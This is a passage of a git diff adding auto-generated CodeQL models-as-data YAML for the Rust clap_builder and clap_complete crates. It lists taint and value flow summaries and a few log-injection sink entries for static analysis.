"Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_long_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_help", "Argument[self].Field[crate::builder::possible_value::PossibleValue::help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[0]", "Argument[self].Field[crate::builder::possible_value::PossibleValue::hide]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[0]", "ReturnValue.Field[crate::builder::possible_value::PossibleValue::hide]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::is_hide_set", "Argument[self].Field[crate::builder::possible_value::PossibleValue::hide]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::end_bound", "Argument[self].Field[crate::builder::range::ValueRange::end_inclusive]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::start_bound", "Argument[self].Field[crate::builder::range::ValueRange::start_inclusive]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::max_values", "Argument[self].Field[crate::builder::range::ValueRange::end_inclusive]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::min_values", "Argument[self].Field[crate::builder::range::ValueRange::start_inclusive]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::num_values", "Argument[self].Field[crate::builder::range::ValueRange::start_inclusive]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::raw", "Argument[0]", "ReturnValue.Field[crate::builder::range::ValueRange::start_inclusive]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::raw", "Argument[1]", "ReturnValue.Field[crate::builder::range::ValueRange::end_inclusive]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[crate::util::id::Id(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_inner", "Argument[self].Field[crate::builder::str::Str::name]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference.Reference", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0]", "ReturnValue.Field[crate::builder::styled_str::StyledStr(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ansi", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ansi", "Argument[self].Field[crate::builder::styled_str::StyledStr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_styled_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_styled_str", "Argument[self].Field[crate::builder::styled_str::StyledStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::error", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::error]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::error", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::error]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::error", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_error", "Argument[self].Field[crate::builder::styling::Styles::error]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_header", "Argument[self].Field[crate::builder::styling::Styles::header]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_invalid", "Argument[self].Field[crate::builder::styling::Styles::invalid]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_literal", "Argument[self].Field[crate::builder::styling::Styles::literal]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_placeholder", "Argument[self].Field[crate::builder::styling::Styles::placeholder]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_usage", "Argument[self].Field[crate::builder::styling::Styles::usage]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_valid", "Argument[self].Field[crate::builder::styling::Styles::valid]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::header", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::header]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::header", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::header]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::invalid", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::invalid]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::invalid", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::invalid]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::invalid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::literal", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::literal]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::literal", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::literal]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::literal", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::placeholder", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::placeholder]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::placeholder", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::placeholder]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::placeholder", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::usage", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::usage]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::usage", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::usage]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::usage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::valid", "Argument[0]", "Argument[self].Field[crate::builder::styling::Styles::valid]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::valid", "Argument[0]", "ReturnValue.Field[crate::builder::styling::Styles::valid]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::valid", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::and_suggest", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Field[crate::builder::value_parser::_AnonymousValueParser(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::apply", "Argument[self].Field[crate::error::Error::inner]", "ReturnValue.Field[crate::error::Error::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::extend_context_unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::insert_context_unchecked", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_color", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_colored_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_help_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_message", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_styles", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_by_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::fmt::Colorizer::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[1]", "ReturnValue.Field[crate::output::fmt::Colorizer::color_when]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_content", "Argument[0]", "Argument[self].Field[crate::output::fmt::Colorizer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_content", "Argument[0]", "ReturnValue.Field[crate::output::fmt::Colorizer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::with_content", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::help_template::AutoHelp::template].Field[crate::output::help_template::HelpTemplate::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[1]", "ReturnValue.Field[crate::output::help_template::AutoHelp::template].Field[crate::output::help_template::HelpTemplate::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[2]", "ReturnValue.Field[crate::output::help_template::AutoHelp::template].Field[crate::output::help_template::HelpTemplate::usage]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[3]", "ReturnValue.Field[crate::output::help_template::AutoHelp::template].Field[crate::output::help_template::HelpTemplate::use_long]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::help_template::HelpTemplate::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[1]", "ReturnValue.Field[crate::output::help_template::HelpTemplate::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[2]", "ReturnValue.Field[crate::output::help_template::HelpTemplate::usage]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[3]", "ReturnValue.Field[crate::output::help_template::HelpTemplate::use_long]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::textwrap::wrap_algorithms::LineWrapper::hard_width]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::wrap", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::output::usage::Usage::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "Argument[self].Field[crate::output::usage::Usage::required].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "ReturnValue.Field[crate::output::usage::Usage::required].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::deref", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_inner", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::matches]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::pending_arg_id", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::take_pending", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::pending].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::take_pending", "Argument[self].Field[crate::parser::arg_matcher::ArgMatcher::pending]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[1].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_subcommand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::GroupedValues::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::GroupedValues::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self].Field[crate::parser::matches::arg_matches::IdsRef::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::Indices::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::Indices::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::RawValues::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::RawValues::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::Values::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::Values::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::ValuesRef::len]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::size_hint", "Argument[self].Field[crate::parser::matches::arg_matches::ValuesRef::len]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::infer_type_id", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::infer_type_id", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::type_id].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_vals", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::vals]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::set_source", "Argument[0]", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::source].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::source", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::source]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::type_id", "Argument[self].Field[crate::parser::matches::matched_arg::MatchedArg::type_id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_matches_with", "Argument[self]", "Argument[1]", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::parser::parser::Parser::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::parse", "Argument[self]", "Argument[1]", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::new", "Argument[0]", "ReturnValue.Field[crate::parser::validator::Validator::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::type_id", "Argument[self].Field[crate::util::any_value::AnyValue::id]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[0]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::key]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self]", "ReturnValue.Field[crate::util::flat_map::Entry::Occupied(0)].Field[crate::util::flat_map::OccupiedEntry::v]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::entry", "Argument[self]", "ReturnValue.Field[crate::util::flat_map::Entry::Vacant(0)].Field[crate::util::flat_map::VacantEntry::v]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get", "Argument[self].Field[crate::util::flat_map::FlatMap::values].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_mut", "Argument[self].Field[crate::util::flat_map::FlatMap::values].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::insert", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self].Field[crate::util::flat_map::Iter::keys].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next", "Argument[self].Field[crate::util::flat_map::Iter::values].Element", "ReturnValue.Field[crate::option::Option::Some(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_internal_str", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::as_internal_str", "Argument[self].Field[crate::util::id::Id(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::_panic_on_missing_help", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::range", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unwrap", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::contains_id", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_count", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_flag", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_many", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_occurrences", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_one", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_raw", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_raw_occurrences", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_many", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_occurrences", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::remove_one", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml new file mode 100644 index 000000000000..b9a0f77c4ede --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete.model.yml @@ -0,0 +1,78 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_complete", "<_ as crate::engine::custom::ValueCandidates>::candidates", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "<_ as crate::engine::custom::ValueCompleter>::complete", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "<_ as crate::engine::custom::ValueCompleter>::complete", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::add_prefix", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::display_order", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::display_order]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::display_order", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::display_order]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::display_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_display_order", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::display_order]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_help", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::help].Field[crate::option::Option::Some(0)]", 